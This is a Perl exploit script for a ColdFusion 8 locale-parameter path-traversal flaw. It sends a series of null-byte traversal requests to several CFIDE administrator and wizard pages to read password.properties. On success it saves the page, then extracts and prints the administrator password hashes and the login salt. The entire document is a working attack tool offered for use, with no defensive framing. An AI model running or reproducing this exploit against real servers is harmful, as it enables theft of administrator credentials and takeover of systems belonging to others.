| 
	  #!/usr/bin/perl  
   
use LWP::UserAgent;  
use HTTP::Request;  
$agent = LWP::UserAgent->new();  
$agent->agent('Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02');  
$target = $ARGV[0];  
system("clear");  
   
print "+--------------------------------------------------------+\n";  
print "       ColdFusion Locale File Disclosure exploit          \n";  
print "                created by D35m0nd142                     \n";  
print "+--------------------------------------------------------+\n";  
sleep 1;  
   
if($target eq '')  
{  
print "Usage: perl cfexploit.pl <target>\n";  
exit(1);  
}  
   
if($target !~ /http:\/\// )  
{  
}  
   
@hosts = ("$target/CFIDE/administrator/index.cfm?locale=../../../../../../ColdFusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/index.cfm?locale=../../../../../../../ColdFusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/index.cfm?locale=../../../../../../../../ColdFusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/index.cfm?locale=../../../../../../../../../ColdFusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",  
"$target/CFIDE/wizards/common/_logintowizard.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en",  
"$target/CFIDE/wizards/common/_logintowizard.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/archives/index.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/archives/index.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/entman/index.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/entman/index.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",  
"$target/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../JRun4/servers/cfusion/cfusion-ear/cfusion-war/WEB-INF/cfusion/lib/password.properties%00en");  
   
print "\n... Exploiting ... \n";  
   
foreach $host (@hosts)  
{  
$req = $agent->request(HTTP::Request->new(GET=>$host));  
   
if($req->is_success && $req->content !~ /Not Found/ && $req->content !~ /Page not found/ && $req->content !~ /Forbidden/ && $req->content =~ /rdspassword=/ )  
{  
print "\n[+] Vulnerable URL: $host \n\n";  
open(FILE, "> cf_content.txt");  
print FILE $req->content;  
close(FILE);  
$grep = "grep 'password=' cf_content.txt > passwords.txt";  
$head = "head -n 2 passwords.txt";  
system($grep);  
print "+-------------------------------------------------+\n";  
print " [+] ColdFusion passwords: \n";  
print "___________________________________________________\n";  
system($head);  
print "___________________________________________________\n";  
sleep 1;  
print "\n... Retrieving SALT ... \n\n";  
sleep 1;  
$grep = "grep '<input name=\"salt\" type=\"hidden\" value=' cf_content.txt > cf_salt.txt";  
$salt_cut = "cut -d '=' -f 4 cf_salt.txt > cf_salt1.txt";  
$salt_cut1 = "cut -d '\"' -f 2 cf_salt1.txt > cf_salt2.txt";  
system($grep);  
system($salt_cut);  
system($salt_cut1);  
print "+---------------------------+";  
print "\n [+] SALT: \n";  
print "_____________________________\n";  
system("cat cf_salt2.txt");  
print "_____________________________\n";  
   
sleep(1.3);  
   
exit(0);  
}  
   
else 
{  
open(FILE, ">> cf_content.txt");  
print FILE "[-] not vulnerable!";  
close(FILE);  
   
}  
} 
  
	
  |